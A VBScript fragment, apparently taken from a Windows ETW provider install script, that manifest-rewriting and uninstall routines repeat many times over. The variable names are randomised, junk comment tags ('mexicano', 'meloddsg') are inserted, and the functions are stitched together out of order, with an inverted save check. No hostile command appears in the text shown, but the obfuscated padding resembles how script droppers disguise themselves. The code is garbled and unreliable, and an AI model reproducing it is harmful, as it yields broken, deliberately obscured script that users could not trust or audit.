"etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' 